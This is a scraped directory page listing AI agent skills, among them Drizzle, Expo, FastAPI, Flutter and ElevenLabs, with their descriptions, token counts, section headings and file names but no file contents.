Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Required Design Patterns
- Review Checklist
- Improvement Focus Areas
Files
SKILL.mdcore3,284 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdotnet-upgrade
When your agent uses it
Ready-to-use prompts for comprehensive .NET framework upgrade analysis and execution
What it loads into context
Frontmatter
24 tokensAlways available to the agent
SKILL.md
1,327 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore7,074 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdrizzle
When your agent uses it
Type-safe SQL ORM for TypeScript with zero runtime overhead
What it loads into context
Frontmatter
135 tokensAlways available to the agent
SKILL.md
2,714 tokensWhen the skill is activated
Reference documents
12,124 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Schema Definition
- Relations
- Queries
- Transactions
- Migrations
- Navigation
- Red Flags
- Performance Benefits vs Prisma
- Integration
- Related Skills
Files
SKILL.mdcore10,733 bytesSKILL.mdcore10,733 bytesSKILL.mdcore10,733 bytesmetadata.jsonasset668 bytesreferences/advanced-schemas.mddoc9,295 bytesreferences/performance.mddoc13,679 bytesreferences/query-patterns.mddoc12,173 bytesreferences/vs-prisma.mddoc11,839 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdurable-objects
When your agent uses it
Build, debug, or review Cloudflare Durable Objects code for persistent state and coordination.
What it loads into context
Frontmatter
25 tokensAlways available to the agent
SKILL.md
1,355 tokensWhen the skill is activated
Reference documents
2,944 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Retrieval Sources
- When to Use
- Reference Documentation
- Core Principles
- Quick Reference
- Critical Rules
- Authorization
- Anti-Patterns (NEVER)
- Stub Creation
- Storage Operations
- Alarms
- Testing
Files
SKILL.mdcore6,040 bytesreferences/rules.mddoc2,851 bytesreferences/testing.mddoc2,521 bytesreferences/workers.mddoc7,543 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubeas-app-stores
When your agent uses it
Build and submit iOS and Android apps with EAS to TestFlight, the App Store, or Google Play. Supports Expo and other React Native projects, plus existing native apps. Use for eas.json setup, release pipelines, signing, app versions and build numbers, store submissions, and listing metadata. For Expo websites and API routes, use eas-hosting; for adding React Native screens to a native app, use expo-brownfield.
What it loads into context
Frontmatter
109 tokensAlways available to the agent
SKILL.md
1,676 tokensWhen the skill is activated
Reference documents
11,565 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Choose the project path
- References
- Expo / React Native Quick Start
- Build Commands
- Web & API Route Hosting
- EAS Configuration
- Platform-Specific Guides
- Automated Releases
- Version Management
- Monitoring
- Submitting Feedback
Files
SKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesagents/openai.yamlasset343 bytesreferences/app-store-metadata.mddoc13,898 bytesreferences/ios-app-store.mddoc11,545 bytesreferences/native-ios.mddoc10,180 bytesreferences/play-store.mddoc5,790 bytesreferences/testflight.mddoc5,973 bytesreferences/workflows.mddoc2,175 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubeas-hosting
When your agent uses it
Deploy Expo websites and Expo Router API routes to EAS Hosting - export the web bundle, run eas deploy for production and PR preview URLs, manage environment secrets and custom domains, and work within the Cloudflare Workers runtime. Also covers authoring API routes (+api.ts handlers, HTTP methods, request handling, CORS). Use when deploying an Expo web app or API routes, setting up EAS Hosting, or configuring hosting environments and domains. Not for native builds or store releases - use the eas-app-stores skill for those.
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
2,744 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use API Routes
- When NOT to Use API Routes
- File Structure
- Basic API Route
- HTTP Methods
- Dynamic Routes
- Request Handling
- Environment Variables
- CORS Headers
- Error Handling
- Testing Locally
- Deployment to EAS Hosting
- EAS Hosting Runtime (Cloudflare Workers)
- Calling API Routes from Client
- Common Patterns
- Rules
- Submitting Feedback
Files
SKILL.mdcore11,495 bytesSKILL.mdcore11,495 bytesSKILL.mdcore11,495 bytesSKILL.mdcore11,495 bytesSKILL.mdcore11,495 bytesSKILL.mdcore11,495 bytesSKILL.mdcore11,495 bytesagents/openai.yamlasset444 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubeas-workflows
When your agent uses it
Helps understand and write EAS workflow YAML files for Expo projects. Use this skill when the user asks about CI/CD or workflows in an Expo or EAS context, mentions .eas/workflows/, or wants help with EAS build pipelines or deployment automation.
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
1,059 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Reference Documentation
- Workflow File Location
- Top-Level Structure
- Expressions
- Generating Workflows
- Validation
- Answering Questions
- Submitting Feedback
Scripts executed separately
scripts/fetch.jsscripts/package.json
Files
SKILL.mdcore4,807 bytesSKILL.mdcore4,807 bytesSKILL.mdcore4,807 bytesSKILL.mdcore4,807 bytesagents/openai.yamlasset331 bytesscripts/fetch.jsruns2,979 bytesscripts/package.jsonruns103 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubelevenlabs-music
When your agent uses it
ElevenLabs AI music generation - create original music from text prompts via inference.sh CLI. Capabilities: text-to-music, custom duration up to 10 minutes, genre/mood/instrument control, royalty-free commercial use. Use for: background music, soundtracks, jingles, podcasts, video scores, game audio. Triggers: elevenlabs music, eleven labs music, ai music, generate music, music generation, compose music, ai composer, create song, soundtrack, background music, jingle, elevenlabs compose, music ai
What it loads into context
Frontmatter
127 tokensAlways available to the agent
SKILL.md
1,519 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Parameters
- Examples
- Prompt Tips
- Workflow: Music + Voiceover
- Use Cases
- Related Skills
Files
SKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytesSKILL.mdcore5,790 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubelevenlabs-tts
When your agent uses it
ElevenLabs text-to-speech via inference.sh: Eleven v4 and v4 Turbo (newest, most expressive, audio tags, realtime streaming), Eleven v3, Multilingual v2 and Flash v2.5, each as its own app with 22+ premium voices. Capabilities: text-to-speech, realtime text-to-speech streaming, audio tags for emotion and delivery, voice selection, stability control, custom and cloned voices. Use for: voiceovers, audiobooks, video narration, podcasts, voice agents, accessibility, IVR. Triggers: elevenlabs, eleven labs, eleven v4, eleven v4 turbo, eleven v3, elevenlabs tts, premium tts, realtime tts, streaming tts, professional voice, ai voice, high quality tts, multilingual tts, voice generation, natural speech, realistic voice, voice over, speech synthesis
What it loads into context
Frontmatter
199 tokensAlways available to the agent
SKILL.md
2,991 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Which App
- Voice Library
- Examples
- Dialogue
- Realtime Speech
- Voice + Video Workflow
- Use Cases
- Related Skills
Files
SKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytesSKILL.mdcore10,554 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubelysiajs
When your agent uses it
Create backend with ElysiaJS, a type-safe, high-performance framework.
What it loads into context
Frontmatter
25 tokensAlways available to the agent
SKILL.md
3,479 tokensWhen the skill is activated
Reference documents
36,968 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- Quick Start
- Basic Usage
- TypeBox Validation
- Standard Schema (Zod, Valibot, ArkType)
- Error Handling
- Guards (Apply to Multiple Routes)
- Macro
- Best Practice
- Elysia Key Concept
- Encapsulation - Isolates by Default
- Method Chaining - Required for Types
- Explicit Dependencies
- Deduplication
- Order Matters
- Type Inference
- Reference Model
- Technical Terms
- Resources
Scripts executed separately
examples/basic.tsexamples/body-parser.tsexamples/complex.tsexamples/cookie.tsexamples/error.tsexamples/file.tsexamples/guard.tsexamples/map-response.tsexamples/redirect.tsexamples/rename.tsexamples/schema.tsexamples/state.tsexamples/upload-file.tsexamples/websocket.ts
Files
SKILL.mdcore13,051 bytesSKILL.mdcore13,051 bytesexamples/basic.tsruns168 bytesexamples/body-parser.tsruns714 bytesexamples/complex.tsruns2,586 bytesexamples/cookie.tsruns751 bytesexamples/error.tsruns654 bytesexamples/file.tsruns216 bytesexamples/guard.tsruns682 bytesexamples/map-response.tsruns299 bytesexamples/redirect.tsruns136 bytesexamples/rename.tsruns818 bytesexamples/schema.tsruns1,159 bytesexamples/state.tsruns126 bytesexamples/upload-file.tsruns343 bytesexamples/websocket.tsruns538 bytesintegrations/ai-sdk.mddoc2,009 bytesintegrations/astro.mddoc1,244 bytesintegrations/better-auth.mddoc2,692 bytesintegrations/cloudflare-worker.mddoc1,836 bytesintegrations/deno.mddoc627 bytesintegrations/drizzle.mddoc6,169 bytesintegrations/expo.mddoc1,856 bytesintegrations/nextjs.mddoc2,152 bytesintegrations/nodejs.mddoc1,048 bytesintegrations/nuxt.mddoc1,149 bytesintegrations/prisma.mddoc1,937 bytesintegrations/react-email.mddoc3,027 bytesintegrations/sveltekit.mddoc1,183 bytesintegrations/tanstack-start.mddoc1,849 bytesintegrations/vercel.mddoc935 bytesmetadata.jsonasset219 bytespatterns/mvc.mddoc10,774 bytesplugins/bearer.mddoc698 bytesplugins/cors.mddoc3,748 bytesplugins/cron.mddoc8,757 bytesplugins/graphql-apollo.mddoc1,688 bytesplugins/graphql-yoga.mddoc1,769 bytesplugins/html.mddoc3,855 bytesplugins/jwt.mddoc6,613 bytesplugins/openapi.mddoc4,286 bytesplugins/opentelemetry.mddoc4,175 bytesplugins/server-timing.mddoc1,842 bytesplugins/static.mddoc1,848 bytesreferences/bun-fullstack-dev-server.mddoc2,377 bytesreferences/cookie.mddoc3,697 bytesreferences/deployment.mddoc7,109 bytesreferences/eden.mddoc3,553 bytesreferences/lifecycle.mddoc5,470 bytesreferences/macro.mddoc1,792 bytesreferences/plugin.mddoc4,987 bytesreferences/route.mddoc7,475 bytesreferences/testing.mddoc8,293 bytesreferences/validation.mddoc10,225 bytesreferences/websocket.mddoc4,068 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubemail-and-password-best-practices
When your agent uses it
Configure email verification, implement password reset flows, set password policies, and customise hashing algorithms for Better Auth email/password authentication. Use when users need to set up login, sign-in, sign-up, credential authentication, or password security with Better Auth.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
1,370 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Email Verification Setup
- Client Side Validation
- Callback URLs
- Password Reset Flows
- Password Hashing
Files
SKILL.mdcore6,027 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubexpo-data-fetching
When your agent uses it
Use when implementing or debugging ANY network request, API call, or data fetching. Covers fetch API, React Query, SWR, error handling, caching, offline support, loading/empty/error screen states, and Expo Router data loaders (`useLoaderData`).
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
3,284 tokensWhen the skill is activated
Reference documents
2,722 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- References
- When to Use
- Preferences
- Every Screen Has Four States
- Common Issues & Solutions
- Decision Tree
- Common Mistakes
- Example Invocations
- Submitting Feedback
Files
SKILL.mdcore13,615 bytesSKILL.mdcore13,615 bytesagents/openai.yamlasset421 bytesreferences/expo-router-loaders.mddoc9,838 bytesreferences/offline-and-cancellation.mddoc1,400 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubexpo-dev-client
When your agent uses it
Build and distribute Expo development clients locally or via TestFlight for internal testing. For production TestFlight releases and store submission, use the eas-app-stores skill.
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
1,106 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Important: When Development Clients Are Needed
- EAS Configuration
- Building for TestFlight
- Building Locally
- Installing Local Builds
- Building for Specific Platform
- Checking Build Status
- Using the Dev Client
- Troubleshooting
- Submitting Feedback
Files
SKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesSKILL.mdcore4,721 bytesagents/openai.yamlasset331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubexpo-dom
When your agent uses it
Use Expo DOM components to run web code in a webview on native and as-is on web. Migrate web code to native incrementally. For the end-to-end migration of a whole web app, use the expo-web-to-native skill.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
2,521 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What are DOM Components?
- When to Use DOM Components
- When NOT to Use DOM Components
- Basic DOM Component
- Rules for DOM Components
- The `dom` Prop
- Exposing Native Actions to the Webview
- Using Web Libraries
- CSS in DOM Components
- Expo Router in DOM Components
- Detecting DOM Environment
- Assets
- Usage from Native Components
- Platform Behavior
- Tips
- Submitting Feedback
Files
SKILL.mdcore10,335 bytesSKILL.mdcore10,335 bytesagents/openai.yamlasset371 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubexpo-native-ui
When your agent uses it
Build beautiful, native-feeling Expo screens. Covers Apple HIG styling, semantic colors, native controls, SF Symbols, media, visual effects, gradients, storage, and responsive layout. For routing and navigation, use the expo-router skill; for motion and animation, use the expo-animation skill.
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
2,879 tokensWhen the skill is activated
Reference documents
11,216 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- References
- Running the App
- Code Style
- Library Preferences
- Responsiveness
- Behavior
- General Styling Rules
- Colors
- Text Styling
- Shadows
- Submitting Feedback
Files
SKILL.mdcore12,557 bytesSKILL.mdcore12,557 bytesagents/openai.yamlasset408 bytesreferences/controls.mddoc5,018 bytesreferences/gradients.mddoc2,717 bytesreferences/icons.mddoc5,849 bytesreferences/media.mddoc6,229 bytesreferences/storage.mddoc2,935 bytesreferences/visual-effects.mddoc5,201 bytesreferences/webgpu-three.mddoc14,466 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubexpo-upgrade
When your agent uses it
Guidelines for upgrading Expo SDK versions and fixing dependency issues
What it loads into context
Frontmatter
31 tokensAlways available to the agent
SKILL.md
1,759 tokensWhen the skill is activated
Reference documents
5,076 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- References
- Beta/Preview Releases
- Step-by-Step Upgrade Process
- Breaking Changes Checklist
- Prebuild for Native Changes
- Clear caches for bare workflow
- Housekeeping
- Deprecated Packages
- expo.install.exclude
- Removing patches
- Postcss
- Metro
- Hermes engine v1
- New Architecture
- Submitting Feedback
Files
SKILL.mdcore7,666 bytesSKILL.mdcore7,666 bytesSKILL.mdcore7,666 bytesSKILL.mdcore7,666 bytesSKILL.mdcore7,666 bytesSKILL.mdcore7,666 bytesagents/openai.yamlasset373 bytesreferences/expo-av-to-audio.mddoc3,683 bytesreferences/expo-av-to-video.mddoc4,262 bytesreferences/native-tabs.mddoc3,520 bytesreferences/new-architecture.mddoc2,177 bytesreferences/react-19.mddoc1,875 bytesreferences/react-compiler.mddoc1,645 bytesreferences/react-navigation-to-expo-router.mddoc4,174 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfastapi
When your agent uses it
FastAPI best practices and conventions. Use when working with FastAPI APIs, Pydantic models, dependencies, streaming responses including Server-Sent Events (SSE), and serving frontend apps. Keeps FastAPI code clean and up to date with the latest features and patterns.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
2,483 tokensWhen the skill is activated
Reference documents
2,997 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- Use the `fastapi` CLI
- Use `Annotated`
- Do not use Ellipsis for *path operations* or Pydantic models
- Return Type or Response Model
- Performance
- Including Routers
- Serve Frontend Apps
- OpenTelemetry
- Dependency Injection
- Async vs Sync *path operations*
- Streaming (JSON Lines, SSE, bytes)
- Tooling
- Other Libraries
- Do not use Pydantic RootModels
- Use one HTTP operation per function
Files
SKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesSKILL.mdcore10,977 bytesreferences/dependencies.mddoc3,269 bytesreferences/other-tools.mddoc1,566 bytesreferences/path-operations.mddoc1,583 bytesreferences/pydantic.mddoc1,844 bytesreferences/responses.mddoc1,856 bytesreferences/streaming.mddoc2,582 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfastapi-python
When your agent uses it
Expert in FastAPI Python development with best practices for APIs and async operations
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
508 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Key Principles
- Python/FastAPI Standards
- Error Handling
- FastAPI-Specific Guidelines
- Performance Optimization
- Key Conventions
- Dependencies
Files
SKILL.mdcore2,462 bytesSKILL.mdcore2,462 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfastapi-templates
When your agent uses it
Create production-ready FastAPI projects with async patterns, dependency injection, and comprehensive error handling. Use when building new FastAPI applications or setting up backend API projects.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
839 tokensWhen the skill is activated
Reference documents
2,556 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Core Concepts
- Detailed worked examples and patterns
- Testing
Files
SKILL.mdcore3,804 bytesSKILL.mdcore3,804 bytesreferences/details.mddoc11,627 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfastmcp
When your agent uses it
Production patterns for FastMCP Python MCP servers. Use when writing, improving, or debugging FastMCP Python code — tool schema design, multi-operation tools, pre-formatted output, Context usage, middleware, lifespan and startup/shutdown hooks, partial failure handling, running and deploying, async patterns, in-process testing with fastmcp.Client, and common mistakes. Do NOT activate for general questions about what MCP is, MCP concepts, or building an MCP server from scratch (use mcp-builder for that).
What it loads into context
Frontmatter
148 tokensAlways available to the agent
SKILL.md
4,582 tokensWhen the skill is activated
Reference documents
1,725 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Running the Server
- Server Setup
- Lifespan — Startup and Shutdown
- Tool Registration
- Multi-Operation Tool Pattern
- Output Formatting
- Partial Failure Handling
- Middleware
- Async Patterns
- Testing
- Common Mistakes
Files
SKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesSKILL.mdcore19,204 bytesevals/evals.jsonasset10,348 bytesreferences/testing.mddoc7,520 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubflask-api-development
When your agent uses it
Develop lightweight Flask APIs with routing, blueprints, database integration, authentication, and request/response handling. Use when building RESTful APIs, microservices, or lightweight web services with Flask.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
666 tokensWhen the skill is activated
Reference documents
2,520 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Table of Contents
- Overview
- When to Use
- Quick Start
- Reference Guides
- Best Practices
Scripts executed separately
scripts/validate-api.sh
Files
SKILL.mdcore3,204 bytesSKILL.mdcore3,204 bytesreferences/application-factory-and-configuration.mddoc1,267 bytesreferences/authentication-and-jwt.mddoc2,466 bytesreferences/blueprints-for-modular-api-design.mddoc2,115 bytesreferences/database-models-with-sqlalchemy.mddoc2,533 bytesreferences/flask-application-setup.mddoc1,313 bytesreferences/request-validation.mddoc1,205 bytesscripts/validate-api.shruns440 bytestemplates/api-scaffold.yamlasset467 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfluentui-blazor
When your agent uses it
Guide for using the Microsoft Fluent UI Blazor component library (Microsoft.FluentUI.AspNetCore.Components NuGet package) in Blazor applications. Use this when the user is building a Blazor app with Fluent UI components, setting up the library, using FluentUI components like FluentButton, FluentDataGrid, FluentDialog, FluentToast, FluentNavMenu, FluentTextField, FluentSelect, FluentAutocomplete, FluentDesignTheme, or any component prefixed with "Fluent". Also use when troubleshooting missing providers, JS interop issues, or theming.
What it loads into context
Frontmatter
130 tokensAlways available to the agent
SKILL.md
1,783 tokensWhen the skill is activated
Reference documents
4,564 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Critical Rules
- Reference files
Files
SKILL.mdcore7,513 bytesreferences/DATAGRID.mddoc4,692 bytesreferences/LAYOUT-AND-NAVIGATION.mddoc5,079 bytesreferences/SETUP.mddoc4,982 bytesreferences/THEMING.mddoc3,436 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubflutter-animations
When your agent uses it
Add, fix, refactor, debug, test, or explain Flutter animations and motion effects. Use when working with implicit animations such as AnimatedContainer, AnimatedOpacity, AnimatedSwitcher, and TweenAnimationBuilder; explicit animations using AnimationController, Tween, CurvedAnimation, AnimatedWidget, AnimatedBuilder, and built-in transitions; Hero/shared-element route transitions; staggered or sequenced animations; physics-based motion, gestures, springs, flings, scroll physics, curves, performance, accessibility, reduced motion, and animation lifecycle bugs.
What it loads into context
Frontmatter
150 tokensAlways available to the agent
SKILL.md
1,459 tokensWhen the skill is activated
Reference documents
18,753 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Principle 0
- Workflow
- Decision Guide
- Resource Routing
- Constraints
- Validation
Files
SKILL.mdcore7,182 bytesassets/templates/explicit_animation.dartasset9,087 bytesassets/templates/hero_transition.dartasset5,937 bytesassets/templates/implicit_animation.dartasset4,400 bytesassets/templates/staggered_animation.dartasset6,706 bytesreferences/curves.mddoc11,138 bytesreferences/explicit.mddoc11,559 bytesreferences/hero.mddoc14,804 bytesreferences/implicit.mddoc8,730 bytesreferences/physics.mddoc13,884 bytesreferences/staggered.mddoc16,193 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubflutter-expert
When your agent uses it
Use when building cross-platform applications with Flutter 3+ and Dart. Invoke for widget development, Riverpod/Bloc state management, GoRouter navigation, platform-specific implementations, performance optimization.
What it loads into context
Frontmatter
142 tokensAlways available to the agent
SKILL.md
1,308 tokensWhen the skill is activated
Reference documents
4,386 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Core Workflow
- Reference Guide
- Code Examples
- Constraints
- Troubleshooting Common Failures
- Output Templates
Files
SKILL.mdcore5,824 bytesreferences/bloc-state.mddoc4,836 bytesreferences/gorouter-navigation.mddoc2,615 bytesreferences/performance.mddoc2,043 bytesreferences/project-structure.mddoc2,775 bytesreferences/riverpod-state.mddoc3,102 bytesreferences/widget-patterns.mddoc2,570 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubflutter-testing
When your agent uses it
Write, fix, review, debug, and validate Flutter tests for apps, packages, and plugins. Use when adding unit tests, widget tests, integration tests, MethodChannel or plugin mocks, Mockito or mocktail test doubles, golden or accessibility checks, CI test commands, test failures, MissingPluginException, pump or pumpAndSettle problems, finder errors, build_runner mock generation, device integration testing, web integration testing, or flaky Flutter tests.
What it loads into context
Frontmatter
130 tokensAlways available to the agent
SKILL.md
1,295 tokensWhen the skill is activated
Reference documents
17,133 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Principle 0
- Workflow
- Resource Routing
- Mandatory Validation
- Constraints
- Fallback
Scripts executed separately
scripts/verify-examples.sh
Files
SKILL.mdcore6,144 bytesSKILL.mdcore6,144 bytesreferences/common-errors.mddoc11,782 bytesreferences/integration-testing.mddoc13,789 bytesreferences/mocking.mddoc12,442 bytesreferences/plugin-testing.mddoc11,358 bytesreferences/unit-testing.mddoc8,316 bytesreferences/widget-testing.mddoc14,843 bytesscripts/verify-examples.shruns2,676 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfrontend-design
When your agent uses it
Guidance for distinctive, intentional visual design when building new UI or reshaping an existing one. Helps with aesthetic direction, typography, and making choices that don't read as templated defaults.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
1,892 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Ground your designs in the subject matter
- Design principles
- Process: plan, review against the brief, build, critique
- Restraint and self-critique
- More on writing in design
Files
LICENSE.txtdoc10,174 bytesSKILL.mdcore9,390 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgenerating-sorbet
When your agent uses it
Generates or updates Sorbet type signatures in separate .rbi files. Triggers when creating, updating, or maintaining type signatures for Ruby source files.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,320 tokensWhen the skill is activated
Reference documents
3,130 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Rules
- Multi-File Processing
- 1. Analyze the Ruby Source
- 2. Generate RBI Files
- 3. Eliminate `T.untyped` in Signatures
- 4. Review and Refine Signatures
- 5. Validate Signatures with Sorbet
Scripts executed separately
reference/references/stripe-ruby/lib/stripe.rbreference/references/stripe-ruby/lib/stripe/api_operations/create.rbreference/references/stripe-ruby/lib/stripe/api_operations/delete.rbreference/references/stripe-ruby/lib/stripe/api_operations/list.rbreference/references/stripe-ruby/lib/stripe/api_operations/nested_resource.rbreference/references/stripe-ruby/lib/stripe/api_operations/request.rbreference/references/stripe-ruby/lib/stripe/api_operations/save.rbreference/references/stripe-ruby/lib/stripe/api_operations/search.rbreference/references/stripe-ruby/lib/stripe/api_operations/singleton_save.rbreference/references/stripe-ruby/lib/stripe/api_requestor.rbreference/references/stripe-ruby/lib/stripe/api_resource.rbreference/references/stripe-ruby/lib/stripe/api_resource_test_helpers.rbreference/references/stripe-ruby/lib/stripe/api_version.rbreference/references/stripe-ruby/lib/stripe/connection_manager.rbreference/references/stripe-ruby/lib/stripe/error_object.rbreference/references/stripe-ruby/lib/stripe/errors.rbreference/references/stripe-ruby/lib/stripe/event_types.rbreference/references/stripe-ruby/lib/stripe/events/unknown_event_notification.rbreference/references/stripe-ruby/lib/stripe/events/v1_billing_meter_error_report_triggered_event.rbreference/references/stripe-ruby/lib/stripe/events/v1_billing_meter_no_meter_found_event.rbreference/references/stripe-ruby/lib/stripe/events/v2_core_event_destination_ping_event.rbreference/references/stripe-ruby/lib/stripe/instrumentation.rbreference/references/stripe-ruby/lib/stripe/list_object.rbreference/references/stripe-ruby/lib/stripe/multipart_encoder.rbreference/references/stripe-ruby/lib/stripe/oauth.rbreference/references/stripe-ruby/lib/stripe/object_types.rbreference/references/stripe-ruby/lib/stripe/params.rbreference/references/stripe-ruby/lib/stripe/params/account_capability_list_params.rbreference/references/stripe-ruby/lib/stripe/params/account_capability_retrieve_params.rbreference/references/stripe-ruby/lib/stripe/params/account_capability_update_params.rbreference/references/stripe-ruby/lib/stripe/params/account_create_params.rbreference/references/stripe-ruby/lib/stripe/params/account_delete_params.rbreference/references/stripe-ruby/